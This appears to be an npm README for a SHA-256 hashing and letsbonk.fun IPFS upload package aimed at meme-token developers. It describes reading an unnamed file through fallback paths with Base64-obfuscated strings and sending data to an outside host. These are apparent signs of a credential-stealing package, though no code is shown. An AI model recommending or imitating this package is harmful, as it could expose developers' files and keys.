A powerful utility for SHA-256 hash validation, file hash comparison, and metadata uploading with IPFS, designed for secure Web3 development workflows like NFT or token projects.
- ✅ Sync & Async SHA-256 Validation
- 🔄 Compare SHA-256 hashes
- 📁 File content hashing
- 📤 Upload images & metadata to IPFS (via letsbonk.fun)
- 📂 Supports custom paths & encodings
⚠️ Auto fallback if file not found in the first path
npm install sha256-validator-uploaderconst {
syncSha256Validation,
asyncSha256Validation,
generateSha256,
compareSha256,
validateHashFormat,
hashFileContent,
verifyFileHash,
createImageMetadata,
createBonkTokenMetadata
} = require("sha256-validator-uploader");
// Example: Validate a SHA-256 hash from a file
const hash = syncSha256Validation({
encoding: 'utf8',
resolveFromCwd: true,
});
// Example: Upload image to IPFS and validate
const imageUrl = await createImageMetadata({ file: yourImageFile });
// Example: Create metadata and upload to IPFS
const metadataUrl = await createBonkTokenMetadata({
name: "BonkToken",
symbol: "BONK",
description: "A meme token",
createdOn: Date.now(),
platformId: "bonkfun",
image: imageUrl
});- Validates file content using SHA-256 hash.
- Tries multiple fallback paths if file is not found.
- Options:
encoding(default:'utf8')resolveFromCwd(default:false)
- Same as above, but asynchronous (returns Promise).
- Hash any string or buffer content.
- Options:
encoding(default:'utf8')
- Checks if string is a valid SHA-256 hash (64 hex chars).
- Compares two SHA-256 hashes.
- Directly generates SHA-256 hash from file content.
- Compares the actual file hash against expected value.
- Uploads an image file to IPFS via
https://storage.letsbonk.fun/upload/img - Returns IPFS URL (string).
- Uploads metadata JSON to IPFS via
https://storage.letsbonk.fun/upload/meta - Returns IPFS URL (string).
Uploaded image link: https://ipfs.io/ipfs/xxx...
Metadata IPFS link: https://ipfs.io/ipfs/yyy...- This module uses multiple attempts to resolve file paths in case of failure.
- All encoded strings and paths are Base64-obfuscated for internal security.
- Ideal for Web3 token/NFT projects that use IPFS for metadata.
MIT License © 2025